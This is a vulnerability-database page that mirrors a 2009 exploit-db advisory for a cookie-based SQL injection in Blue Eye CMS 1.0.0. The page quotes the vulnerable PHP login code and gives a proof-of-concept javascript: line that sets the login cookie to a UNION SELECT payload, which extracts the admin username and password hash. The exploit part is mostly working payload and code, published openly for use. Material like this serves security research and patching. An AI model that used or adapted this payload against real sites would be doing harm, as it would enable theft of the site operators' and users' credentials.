Lucene search
+L

Blue Eye CMS 1.0.0 - Remote Cookie SQL Injection

🗓️ 06 Mar 2009 00:00:00Reported by ka0xType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

Blue Eye CMS 1.0.0 Remote Cookie SQL Injection Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-0883
6 Mar 200900:00
circl
CVE
CVE-2009-0883
12 Mar 200915:00
cve
Cvelist
CVE-2009-0883
12 Mar 200915:00
cvelist
EUVD
EUVD-2009-0880
7 Oct 202500:30
euvd
NVD
CVE-2009-0883
12 Mar 200915:20
nvd
Prion
Sql injection
12 Mar 200915:20
prion
#
# BlueEye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability
# found by ka0x <ka0x01[alt+64]gmail.com>
#

Download: http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar
need magic_quotes_gpc = Off

- Vuln code:

10:	if (!empty($_COOKIE["BlueEyeCMS_login"])) { 	// --> Only??
11:		$c_login = $_COOKIE["BlueEyeCMS_login"]; // --> Not clean??
12:		$c_pass = $_COOKIE["BlueEyeCMS_pass"];
13:		$c_key = $_COOKIE["BlueEyeCMS_key"];
....
16:	        $table = $db_prefix."users";
17:	        $query = mysql_query("SELECT id FROM `$table` WHERE `user` = '$c_login' AND `password` = '$c_pass' AND `key` = '$c_key'"); // -> VULN
18:          	$rows = mysql_num_rows($query); -> num rows of the query
19:          	$result = mysql_fetch_array($query);
....
21:      	if ($rows == 1) { // -> check if exists one row..
22:      		$logged = $c_login;
23:      		$logged_id = $result['id'];
24:      	}
....
204:	       <img src=\"themes/".$theme."/images/dots.png\">&nbsp;&nbsp;Logged as: ".$logged." (ID: ".$logged_id.")<br>


- Proof Of Concept:
javascript:document.cookie = "BlueEyeCMS_login=' UNION SELECT concat(user,0x3A,password) FROM blueeye_users WHERE id=1/*; path=/";

# -EoF- #

# milw0rm.com [2009-03-06]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.00928
29